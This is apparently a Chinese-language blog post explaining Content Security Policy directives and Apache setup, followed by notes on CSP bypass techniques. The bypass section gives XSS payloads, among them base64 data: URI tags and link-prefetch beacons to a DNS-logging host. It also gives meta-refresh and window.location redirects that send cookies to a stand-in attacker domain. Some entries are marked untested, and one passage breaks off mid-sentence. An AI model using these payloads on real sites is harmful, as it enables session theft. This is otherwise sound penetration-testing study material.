内容安全策略 CSP
百度百科概念:
CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容
直白的说就是通过该浏览器扩展 进行 加载资源脚本的黑白名单限制;实现和执行均由浏览器完成
功能效果
主要用来防注入脚本(比如 xss 加载其他域下的js;广告注入h5页面、运营商的http劫持)图片、iframe、fton、style等等可能的远程的资源
- 限制远程资源的请求,如通过远程请求将资源如cookie传送出去
- 记录违规的限制行为,并汇报给指定目标。
CSP和同源策略
在同源策略中 一个页面的资源只能从与之同源的服务器获取,不能从其他域获取;但因此也影响了灵活性,CSP相对来说 可以跨域获取资源,又能防止恶意代码。
使用方式:
要素
CSP域:允许使用CSP的规则
CSP指令集:允许白名单的内容规则
示例
default-src 'self';
只允许同源下的资源
script-src 'self';
只允许同源下的js
script-src 'self' www.google-analytics.com ajax.googleapis.com;
允许同源以及两个地址下的js加载
default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';
多个资源时,后面的会覆盖前面的
- 常见csp策略
指令 | 指令和指令值示例 | 指令说明 |
---|---|---|
default-src | ‘self’ cdn.guangzhul.com | 默认加载策略 |
script-src | ‘self’ js.guangzhul.com | 对 JavaScript 的加载策略。 |
style-src | ‘self’ css.guangzhul.com | 对样式的加载策略。 |
img-src | ‘self’ img.guangzhul.com | 对图片的加载策略。 |
connect-src | ‘self’ | 对 Ajax、WebSocket 等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为 400 的响应。 |
font-src | font.cdn.guangzhul.com | 针对 WebFont 的加载策略。 |
object-src | ‘self’ | 针对 、 或 等标签引入的 flash 等插件的加载策略。 |
media-src | media.cdn.guangzhul.com | 针对媒体引入的 HTML 多媒体的加载策略。 |
frame-src | ‘self’ | 针对 frame 的加载策略。 |
report-uri | /report-uri | 告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。 特别的:如果想让浏览器只汇报日志,不阻止任何内容,可以改用 Content-Security-Policy-Report-Only 头。 |
- 其他CSP指令
指令 | 指令和指令值示例 | 指令说明 |
---|---|---|
sandbox | 设置沙盒环境 | |
child-src | 主要防御 , | |
form-action | 主要防御 | |
frame-ancestors | 主要防御 , | |
plugin-types | 主要防御 |
- 常见指令值
指令值 | 指令和指令值示例 | 指令值说明 |
---|---|---|
* | img-src * | 允许任何内容。 |
‘none’ | img-src ‘none’ | 不允许任何内容。 |
‘self’ | img-src ‘self’ | 允许来自相同来源的内容(相同的协议、域名和端口)。 |
data: | img-src data: | 允许 data: 协议(如 base64 编码的图片)。 |
www.guangzhul.com | img-src | img.guangzhul.com 允许加载指定域名的资源。 |
*.guangzhul.com | img-src *.guangzhul.com 允许加载 guangzhul.com | 任何子域的资源。 |
‘unsafe-inline’ | script-src ‘unsafe-inline’ | 允许加载 inline 资源(例如常见的 style 属性,onclick,inline js 和 inline css 等等)。 |
‘unsafe-eval’ | script-src ‘unsafe-eval’ | 允许加载动态 js 代码,例如 eval()。 |
限制所有的外部资源,都只能从当前域名加载
Content-Security-Policy: default-src 'self'
可以由http header和html来指定,启用后,不符合 CSP 的外部资源就会被阻止加载。
http header
在服务端的响应包的header中展示 内容均来自于应用自己域,不涉及子域
Content-Security-Policy:default-src'self'
html中通过meta来限制
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
构建一下csp 来个例子
配置
首先要在配置文件中加载mod_headers.so模块,
sudo a2enmod headers
在对应的配置文件中,我用的apache2.conf进行配置
LoadModule headers_module modules/mod_headers.so
然后可以添加相关规则
Header set Content-Security-Policy "default-src 'self';"
常见绕过方式
1 文件上传绕过 只允许加载当前域
最常见规则如下:
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
针对这种方式,通常使用方法是 找一个文件上传点,上传一个文件内容为js的图片
说到这里 注意一下,浏览器对一个文件做解析/下载 处理的,并不是文件的后缀名
而是服务器返回的mimeType,如果在服务端没有定义的类型,即通俗的mimes.type中没有定义,即没有返回content-type
则在apache服务器中会默认以html格式解析(在nginx服务器中会以octet-stream,直接下载,这里可以使用svg后缀触发svg标签。条件允许的话),所以在遇到上传黑名单的时候,可以试试xx类似的。
测试过程中 一来就折戟沉沙,头大,使用 该规则后,简单测试 xx文件后缀,直接嵌入script标签,
<script>alert(1)</script>
竟然没用,一顿瞎操作后才确定,是因为制定了csp规则的问题。
script-src 'self'; 或者 default-src 'self'
要允许内联的js执行,即添加 “unsafe-inline”
- 不允许内联时 测试的时候直接alert是没法触发的,所以在常规渗透测试的时候要注意,这个时候用 script src 这类引用是可以的,引用上传的同域js 执行。
使用下列js伪协议的payload可以绕过safari( 12.0.2 )的csp检测,chrome和firefox不行,猜测可能跟csp检测顺序阶段有关(待深入讨论)。
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==" >test</a>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Bypass CSP by @akita_zen
Works for CSP like script-src self
- 允许内联时
可以正常输入输出测试
2、预加载 标签rel属性 绕过只允许加载当前域
谈到这个问题就不得不说一下浏览器的预加载/预读取
- 2.1 预加载
预加载:目的和js压缩、cdn等类似都是优化浏览器请求时加快请求速度,让浏览器在空闲时间下载或读取资源,用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列的预加载指示,当浏览器加载完当前页面后,它会在后台静悄悄的加载指定的文档,并把它们存储在缓存里。当用户访问到这些预加载的文档后,浏览器能快速的从缓存里提取给用户。(来自MDN的解释)
- 2.1.1 预加载例子
【1】prefetch 预加载资源-旧版chrome可用
实现方法: 通过link实现,将rel属性指定为“prefetch”,在href中指定加载资源的地址。
<!-- 预加载整个页面 -->
<link rel="prefetch" href="http://www.webhek.com/misc/3d-album/" />
<!-- 预加载一个图片 -->
<link rel="prefetch" href=" http://www.webhek.com/wordpress/
wp-content/uploads/2014/04/b-334x193.jpg " />
【2】prerender chrome预渲染-可用
对对应地址所有资源进行渲染
<link rel="prerender" href="http://linux.im">
【3】dns-prefetch DNS预解析-可用
故名思意,DNS预解析 提前将分析页面所需资源域名进行ip转换,使之在请求时尽快完成DNS解析。
<link rel="dns-prefetch" href="http://linux.im">
【4】除此之外还有Preconnect(-可用 类似于dns-prefetch,同时会完成握手机制)、subresource、preload
这里接触不多,就不一一多提了。
- 2.1.2 预加载的绕过
回到我们的重点,预加载针对的CSP绕过规则
在限制了资源请求时,在xss中想要把cookie传送出去
限制如下:
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
限制了不可信资源的请求,且不允许内联执行这个时候就可以用预加载方式进行绕过 传出需要的数据
如:
【1】 dns-prefetch
<link rel="dns-prefetch" href="http://1221.xxxx.ceye.io">
这个时候就可以在ceye上查看相关dns请求记录
【2】prefetch
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)
<link rel="prefetch" href="http://1221.xxxx.ceye.io">
【3】Preconnect、prerender 均测可用,其他的暂未测试。
以下也尚未测试 尴尬 仅摘抄,先写到这吧
3 url跳转
在规则限制为 default-src ‘none’的情况下,此时策略为 默认策略 禁止所有资源(不允许加载所有内容)
可以使用meta标签实现跳转
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
4 利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用'>
在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie
iframe
1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:
2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。
meta标签
meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。
<meta http-equiv="cache-control" content="public">
meta可以设置Cookie(Firefox下),可以结合self-xss利用。
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
默认特性
- 阻止内联代码的执行
- eval 相关功能被禁用
防护问题:
参考:
http://www.ruanyifeng.com/blog/2016/09/csp.html
https://blog.csdn.net/qq_37943295/article/details/79978761
https://paper.seebug.org/423/
https://xz.aliyun.com/t/318
https://paper.seebug.org/91/
http://www.webhek.com/post/link-prefetch.html
存疑
【1】内联js的定义 属于内联还是外联
(通俗的来说 内联 即属于script标签内直接调用,外联属于调用外部js)